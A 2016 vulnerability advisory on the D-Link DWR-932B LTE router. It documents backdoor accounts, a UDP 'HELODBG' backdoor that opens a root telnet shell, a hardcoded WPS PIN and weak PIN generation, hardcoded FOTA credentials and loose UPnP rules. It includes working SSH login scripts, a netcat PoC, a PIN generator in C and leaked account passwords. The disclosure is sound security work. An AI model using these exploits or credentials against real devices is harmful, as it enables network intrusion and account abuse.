Product Description

Dlink is a multinational networking equipment manufacturing corporation.

Vulnerabilities Summary

The Dlink DWR-932B is a LTE router / access point overall badly designed with a lot of vulnerabilities. It's available in a number of countries to provide Internet with a LTE network. It's a model based on the (in)famous Quanta LTE router models and inherits some vulnerabilities.

The tests below are done using the latest available firmware (firmware DWR-932_fw_revB_2_02_eu_en_20150709.zip, model revision B, /Share3/DailyBuild/QDX_DailyBuild/QDT_2031_DLINK/QDT_2031_OS/source/LINUX/apps_proc/oe-core/build/tmp-eglibc/sysroots/x86_64-linux/usr/bin/armv7a-vfp-neon-oe-linux-gnueabi/arm-oe-linux-gnueabi-gcc).

The summary of the vulnerabilities is:

A personal point of view: at best, the vulnerabilites are due to incompetence; at worst, it is a deliberate act of security sabotage from the vendor. Not all the vulnerabilities found have been disclosed in this advisory. Only the significant ones are shown.

This router is still on sale.

Due to lack of security patches provided by the vendor, the vulnerabilities will remain unpatched and customers with questions should contact their local/regional D-Link support office for the latest information.

Details - Backdoor accounts

By default, telnetd and SSHd are running in the router.

Telnetd is running even if there is no documentation about it:

user@kali:~$ cat ./etc/init.d/start_appmgr [...] #Sandro { for telnetd debug... start-stop-daemon -S -b -a /bin/logmaster #if [ -e /config2/telnetd ]; then start-stop-daemon -S -b -a /sbin/telnetd #fi #Sandro } [...]

2 backdoor accounts exist and can be used to bypass the HTTP authentication used to manage the router.

admin@homerouter:~$ grep admin /etc/passwd admin:htEcF9TWn./9Q:168:168:admin:/:/bin/sh admin@homerouter:~$

The password for admin is 'admin' and can be found in the /bin/appmgr program using IDA:

About the root user:

user@kali:~$ cat ./etc/shadow root:aRDiHrJ0OkehM:16270:0:99999:7::: daemon:*:16270:0:99999:7::: bin:*:16270:0:99999:7::: sys:*:16270:0:99999:7::: sync:*:16270:0:99999:7::: games:*:16270:0:99999:7::: man:*:16270:0:99999:7::: lp:*:16270:0:99999:7::: mail:*:16270:0:99999:7::: news:*:16270:0:99999:7::: uucp:*:16270:0:99999:7::: proxy:*:16270:0:99999:7::: www-data:*:16270:0:99999:7::: backup:*:16270:0:99999:7::: list:*:16270:0:99999:7::: irc:*:16270:0:99999:7::: gnats:*:16270:0:99999:7::: diag:*:16270:0:99999:7::: nobody:*:16270:0:99999:7::: messagebus:!:16270:0:99999:7::: avahi:!:16270:0:99999:7::: admin@kali:~$

Using john to crack the hashes:

user@kali:~$ john -show shadow+passwd admin:admin:admin:/:/bin/sh root:1234:16270:0:99999:7::: 2 password hashes cracked, 0 left user@kali:~$

Results:

admin has password admin

root has password 1234

Working exploit for admin:

user@kali:~$ cat quanta-ssh-default-password-admin #!/usr/bin/expect -f set timeout 3 spawn ssh admin@192.168.1.1 expect "password: $" send "admin\r" interact user@kali:~$ ./quanta-ssh-default-password-admin spawn ssh admin@192.168.1.1 admin@192.168.1.1's password: admin@homerouter:~$ id uid=168(admin) gid=168(admin) groups=168(admin) admin@homerouter:~$

Alternatively, you can fetch it at https://pierrekim.github.io/advisories/quanta-ssh-default-password-admin.

Working exploit for root:

user@kali:~$ cat quanta-ssh-default-password-root #!/usr/bin/expect -f set timeout 3 spawn ssh root@192.168.1.1 expect "password: $" send "1234\r" interact user@kali:~$ ./quanta-ssh-default-password-root spawn ssh root@192.168.1.1 root@192.168.1.1's password: root@homerouter:~# id uid=168(root) gid=168(root) groups=168(root) root@homerouter:~#

Alternatively, you can fetch it at https://pierrekim.github.io/advisories/quanta-ssh-default-password-root.

Details - Backdoor

A backdoor is present inside the /bin/appmgr program. By sending a specific string in UDP to the router, an authentication-less telnet server will start if a telnetd daemon is not already running.

In /bin/appmgr , a thread listens to 0.0.0.0:39889 (UDP) and waits for commands.

If a client sends "HELODBG" to the router, the router will execute /sbin/telnetd -l /bin/sh , allowing to access without authentication to the router as root.

When using IDA, we can see the backdoor is located in the main function (line 369):

Working PoC :

user@kali:~$ echo -ne "HELODBG" | nc -u 192.168.1.1 39889 Hello ^C user@kali:~$ telnet 192.168.1.1 Trying 192.168.1.1... Connected to 192.168.1.1. Escape character is '^]'. OpenEmbedded Linux homerouter.cpe msm 20141210 homerouter.cpe / # id uid=0(root) gid=0(root) / # exit Connection closed by foreign host. user@kali:~$

Details - Default WPS PIN

Wi-Fi Protected Setup(WPS) is a standard for easy and secure establishment of a wireless home network, as defined in the documentation provided in the router (help.html).

By default, the PIN for the WPS system is ever 28296607 . It is, in fact, hardcoded in the /bin/appmgr program:

This PIN can be found in the HostAP configuration too, and, using the information leak, in the HTTP APIs of the router:

root@homerouter:~# ps -a|grep hostap 1006 root 0:00 hostapd /var/wifi/ar6k0.conf 1219 root 0:00 grep hostap root@homerouter:~# cat /var/wifi/ar6k0.conf [...] ap_pin=28296607 [...]

Details - Weak WPS PIN Generation - with a reverse-engineered algorithm

An user can use the webinterface to generate a temporary PIN for the WPS system (low probability as the 28296607 WPS PIN is provided by default).

The PIN generated by the router is weak as it is generated using this "strange" reverse-engineered algorithm:

user@kali:~$ cat quanta-wps-gen.c

#include <stdio.h> #include <stdlib.h> #include <time.h> int main ( int argc, char ** argv, char ** envp) { unsigned int i0, i1; int i2; /* the seed is the current time of the router, which uses NTP... */ srand(time( 0 )); i0 = rand() % 10000000 ; if (i0 <= 999999 ) i0 += 1000000 ; i1 = 10 * i0; i2 = ( 10 - (i1 / 10000 % 10 + i1 / 1000000 % 10 + i1 / 100 % 10 + 3 * (i1 / 100000 % 10 + 10 * i0 / 10000000 % 10 + i1 / 1000 % 10 + i1 / 10 % 10 )) % 10 ) % 10 + 10 * i0; printf( "%d

" , i2 ); return ( 0 ); }

user@kali:~$ gcc -o dlink-wps-gen quanta-wps-gen.c user@kali:~$ ./dlink-wps-gen 97329329 user@kali:~$

You can fetch this program at https://pierrekim.github.io/advisories/quanta-wps-gen.c.

Using srand(time(0)) as a seed is a bad idea because an attacker, knowing the current date as time(0) returns the current date in an integer value, can just generate the valid WPS PIN. The Router uses NTP so is likely to have a correct timestamp configured. It's trivial for an attacker to generate valid WPS PIN suites and bruteforce them.

For the curious reader, the original algorithm in the firmware is:

.text:0001B4D4 EXPORT generate_wlan_wps_enrollee_pin .text:0001B4D4 generate_wlan_wps_enrollee_pin ; CODE XREF: wifi_msg_handle+194p .text:0001B4D4 .text:0001B4D4 var_3C = -0x3C .text:0001B4D4 var_38 = -0x38 .text:0001B4D4 s = -0x34 .text:0001B4D4 var_30 = -0x30 .text:0001B4D4 var_2C = -0x2C .text:0001B4D4 .text:0001B4D4 STMFD SP!, {R4-R11,LR} .text:0001B4D8 SUB SP, SP, #0x1C .text:0001B4DC STR R0, [SP,#0x40+s] .text:0001B4E0 MOV R0, #0 ; timer .text:0001B4E4 BL time .text:0001B4E8 BL srand .text:0001B4EC BL rand .text:0001B4F0 LDR R4, =0x6B5FCA6B .text:0001B4F4 MOV R6, R0,ASR#31 .text:0001B4F8 SMULL R1, R4, R0, R4 .text:0001B4FC RSB R10, R6, R4,ASR#22 .text:0001B500 RSB R12, R10, R10,LSL#5 .text:0001B504 RSB R2, R12, R12,LSL#6 .text:0001B508 ADD R11, R10, R2,LSL#3 .text:0001B50C LDR R8, =0xF423F .text:0001B510 ADD R9, R11, R11,LSL#2 .text:0001B514 SUB R1, R0, R9,LSL#7 .text:0001B518 CMP R1, R8 .text:0001B51C ADDLS R1, R1, #0xF4000 .text:0001B520 ADDLS R1, R1, #0x240 .text:0001B524 ADD R3, R1, R1,LSL#2 .text:0001B528 MOV R3, R3,LSL#1 .text:0001B52C LDR R1, =0xCCCCCCCD .text:0001B530 LDR R5, =0xA7C5AC5 .text:0001B534 LDR R6, =0x6B5FCA6B .text:0001B538 MOV R7, R3,LSR#5 .text:0001B53C UMULL R4, R7, R5, R7 .text:0001B540 UMULL R9, LR, R1, R3 .text:0001B544 UMULL R5, R6, R3, R6 .text:0001B548 LDR R12, =0xD1B71759 .text:0001B54C MOV R6, R6,LSR#22 .text:0001B550 UMULL R10, R12, R3, R12 .text:0001B554 MOV LR, LR,LSR#3 .text:0001B558 UMULL R10, R9, R1, R6 .text:0001B55C UMULL R8, R10, R1, LR .text:0001B560 LDR R0, =0x431BDE83 .text:0001B564 MOV R12, R12,LSR#13 .text:0001B568 UMULL R11, R0, R3, R0 .text:0001B56C STR R10, [SP,#0x40+var_38] .text:0001B570 UMULL R8, R10, R1, R12 .text:0001B574 LDR R2, =0x51EB851F .text:0001B578 LDR R4, =0x10624DD3 .text:0001B57C UMULL R5, R2, R3, R2 .text:0001B580 MOV R0, R0,LSR#18 .text:0001B584 STR R10, [SP,#0x40+var_3C] .text:0001B588 UMULL R8, R4, R3, R4 .text:0001B58C UMULL R8, R10, R1, R0 .text:0001B590 MOV R2, R2,LSR#5 .text:0001B594 MOV R7, R7,LSR#7 .text:0001B598 UMULL R8, R11, R1, R7 .text:0001B59C STR R10, [SP,#0x40+var_30] .text:0001B5A0 MOV R4, R4,LSR#6 .text:0001B5A4 UMULL R8, R10, R1, R2 .text:0001B5A8 UMULL R8, R5, R1, R4 .text:0001B5AC STR R10, [SP,#0x40+var_2C] .text:0001B5B0 MOV R8, R9,LSR#3 .text:0001B5B4 MOV R10, R11,LSR#3 .text:0001B5B8 ADD R11, R10, R10,LSL#2 .text:0001B5BC ADD R9, R8, R8,LSL#2 .text:0001B5C0 MOV R10, R5,LSR#3 .text:0001B5C4 LDR R8, [SP,#0x40+var_38] .text:0001B5C8 SUB R6, R6, R9,LSL#1 .text:0001B5CC SUB R7, R7, R11,LSL#1 .text:0001B5D0 LDR R9, [SP,#0x40+var_3C] .text:0001B5D4 LDR R11, [SP,#0x40+var_30] .text:0001B5D8 ADD R5, R10, R10,LSL#2 .text:0001B5DC SUB R5, R4, R5,LSL#1 .text:0001B5E0 LDR R4, [SP,#0x40+var_2C] .text:0001B5E4 MOV R10, R8,LSR#3 .text:0001B5E8 MOV R8, R9,LSR#3 .text:0001B5EC MOV R9, R11,LSR#3 .text:0001B5F0 ADD R7, R7, R6 .text:0001B5F4 ADD R10, R10, R10,LSL#2 .text:0001B5F8 ADD R9, R9, R9,LSL#2 .text:0001B5FC MOV R11, R4,LSR#3 .text:0001B600 ADD R8, R8, R8,LSL#2 .text:0001B604 ADD R7, R7, R5 .text:0001B608 SUB LR, LR, R10,LSL#1 .text:0001B60C SUB R5, R0, R9,LSL#1 .text:0001B610 SUB R8, R12, R8,LSL#1 .text:0001B614 ADD R11, R11, R11,LSL#2 .text:0001B618 ADD R12, R7, LR .text:0001B61C SUB R4, R2, R11,LSL#1 .text:0001B620 ADD R8, R8, R5 .text:0001B624 ADD R5, R8, R4 .text:0001B628 ADD R0, R12, R12,LSL#1 .text:0001B62C ADD R4, R5, R0 .text:0001B630 UMULL R5, R1, R4, R1 .text:0001B634 MOV R2, R1,LSR#3 .text:0001B638 ADD LR, R2, R2,LSL#2 .text:0001B63C SUB R8, R4, LR,LSL#1 .text:0001B640 LDR R0, =0x66666667 .text:0001B644 RSB R2, R8, #0xA .text:0001B648 SMULL R8, R0, R2, R0 .text:0001B64C MOV R12, R2,ASR#31 .text:0001B650 RSB R1, R12, R0,ASR#2 .text:0001B654 ADD LR, R1, R1,LSL#2 .text:0001B658 LDR R12, =(aHostapd_conf_f - 0x1B670) .text:0001B65C SUB R4, R2, LR,LSL#1 .text:0001B660 LDR R2, =(aGet_wpspinI - 0x1B67C) .text:0001B664 ADD R4, R4, R3 .text:0001B668 ADD R0, PC, R12 ; "hostapd_conf_file_gen" .text:0001B66C ADD R0, R0, #0x3C .text:0001B670 MOV R1, #0x3B .text:0001B674 ADD R2, PC, R2 ; "Get_WpsPin:%in" .text:0001B678 MOV R3, R4 .text:0001B67C BL wifi_filelog .text:0001B680 LDR R1, =(a08lu - 0x1B690) .text:0001B684 LDR R0, [SP,#0x40+s] ; s .text:0001B688 ADD R1, PC, R1 ; "%08lu" .text:0001B68C MOV R2, R4 .text:0001B690 ADD SP, SP, #0x1C .text:0001B694 LDMFD SP!, {R4-R11,LR} .text:0001B698 B sprintf .text:0001B698 ; End of function generate_wlan_wps_enrollee_pin

Details - Leaking No-IP account (?):

The file /etc/inadyn-mt.conf (for a dyndns client) contains an user and a hardcoded password:

--log_file /usr/inadyn_srv.log --forced_update_period 6000 --username alex_hung --password 641021 --dyndns_system default@no-ip.com --alias test.no-ip.com

Details - Multiple vulnerabilities in the HTTP daemon (qmiweb)

The HTTP daemon /bin/qmiweb is full of vulnerabilities.

You can see my precedent researches about a router model using a similar firmware:

Adapting the exploits is left as exercises for the reader :)

Details - Remote FOTA (Firmware Over The Air)

The credentials to contact the FOTA server are hardcoded in the /sbin/fotad binary, as shown with this IDA screenshot:

The function sub_CAAC contains the credentials as base64-strings, used to retrieve the firmware.

It's notable the FOTA daemon tries to retrieve the firmware over HTTPS. But at the date of the writing, the SSL certificate for https://qdp:qdp@fotatest.qmitw.com/qdh/ispname/2031/appliance.xml is invalid for 1.5 year.

The user/password combinations are:

qdpc:qdpc qdpe:qdpe qdp:qdp

Details - Bad security practices:

From /etc/init.d/start_appmgr , you will read "strange" shell commands executed as root, like:

if [ -f /sbin/netcfg ]; then echo -n "chmod 777 netcfg" chmod 777 /sbin/netcfg fi if [ -f /bin/QNetCfg ]; then echo -n "chmod 777 QNetCfg" chmod 777 /bin/QNetCfg fi

I have no idea why the vendor needs to chmod 777 files located in /bin/.

Details - Security removed in UPnP

UPnP allows to add firewall rules dynamically. Because of the security risks involved, generally there are restrictions in place to avoid dangerous new firewall rules from an unstrusted LAN client.

Insecurity in IPnP was hype 10 years ago (in 2006). The security level of the UPNP program (miniupnp) in this router is volountarily lowered as shown below and allows an attacker located in the LAN area to add Port forwarding from the Internet to other clients located in the LAN:

The /var/miniupnpd.conf is generated by the /bin/appmgr program:

It will generate the /var/miniupnpd.conf file:

ext_ifname=rmnet0 listening_ip=bridge0 port=2869 enable_natpmp=yes enable_upnp=yes bitrate_up=14000000 bitrate_down=14000000 secure_mode=no # "secure" mode : when enabled, UPnP client are allowed to add mappings only to their IP. presentation_url=http://192.168.1.1 system_uptime=yes notify_interval=30 upnp_forward_chain=MINIUPNPD upnp_nat_chain=MINIUPNPD

There is no restriction about the UPnP permission rules in the configuration file, contrary to common usage in UPnP where it is advised to only allow redirection of port above 1024:

Normal config file:

# UPnP permission rules # (allow|deny) (external port range) ip/mask (internal port range) # A port range is <min port>-<max port> or <port> if there is only # one port in the range. # ip/mask format must be nn.nn.nn.nn/nn # it is advised to only allow redirection of port above 1024 # and to finish the rule set with "deny 0-65535 0.0.0.0/0 0-65535" allow 1024-65535 192.168.0.0/24 1024-65535 deny 0-65535 0.0.0.0/0 0-65535

In the configuration of the vulnerable router where there are no permission rules, an attacker can forward everything from the WAN into the LAN. For example, an attacker can add a forwarding rule in order to allow traffic from the Internet to local Exchange servers, mail servers, ftp servers, http servers, database servers... In fact, this lack of security allows a local user to forward whatever they want from the Internet into the LAN.

Personal notes

As the router has a sizable memory (168 MB), a decent CPU and good free space (235 MB) with complete toolkits installed by default (sshd, proxy ( /bin/tinyproxy -c /var/tproxy.conf ), tcpdump ...), I advise users to trash their routers because it's trivial for an attacker to use this router as an attack vector (ie: hosting a sniffing tool, LAN hacking, active MiTM tool, spamming zombie).

From my tests, it is possible to overwrite the firmware with a custom (backdoored) firmware. Generating a valid backdoored firmware is left as an exercise for the reader, but with all these vulnerabilities present in the default firmware, I don't think it is worth making the effort.

Vendor Response

Customers with questions should contact their local/regional D-Link support offices for the latest information.

Report Timeline

Dec 04, 2015: Vulnerabilities found by Pierre Kim in Quanta routers.

Apr 04, 2016: A public advisory about Quanta routers is sent to security mailing lists.

Jun 09, 2016: Pierre Kim is contacted by Gianni Carabelli about Dlink DWR-932 router's similarities to Quanta routers.

Jun 14, 2016: Pierre Kim thanks Gianni Carabelli and says he will contact Dlink.

Jun 15, 2016: Dlink is contacted about vulnerabilities in the DWR-932 router (=~ 20 vulns).

Jun 16, 2016: Dlink Security Incident Response Team (William Brown) acknowledges the receipt of the report and says they will provide further updates.

Jul 09, 2016: Pierre asks for updates.

Jul 09, 2016: Dlink says they will have correction by July 15.

Jul 19, 2016: Pierre asks for updates.

Aug 19, 2016: Pierre asks for updates.

Sep 12, 2016: Pierre asks for updates and says he will soon release an advisory as 90 days have passed without news.

Sep 12, 2016: cert@cert.org is contacted to get pieces of advice about the disclosure.

Sep 13, 2016: CERT recommends to try to contact D-link and to publish the advisory.

Sep 13, 2016: Dlinks says they don't have a schedule for a firmware release. Customers who have questions should contact their local/regional D-Link support offices for the latest information. support.dlink.com will be updated in the next 24 hours.

Sep 28, 2016: A public advisory is sent to security mailing lists.

Credits

These vulnerabilities were found by Pierre Kim (@PierreKimSec).

I would like to thank Gianni Carabelli who found this router and thought it was very similar to the previous backdoored Quanta routers.

References

https://pierrekim.github.io/advisories/2016-dlink-0x00.txt

https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html

https://www.linkedin.com/pulse/rooting-dlink-dwr-923-4g-router-gianni-carabelli

Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/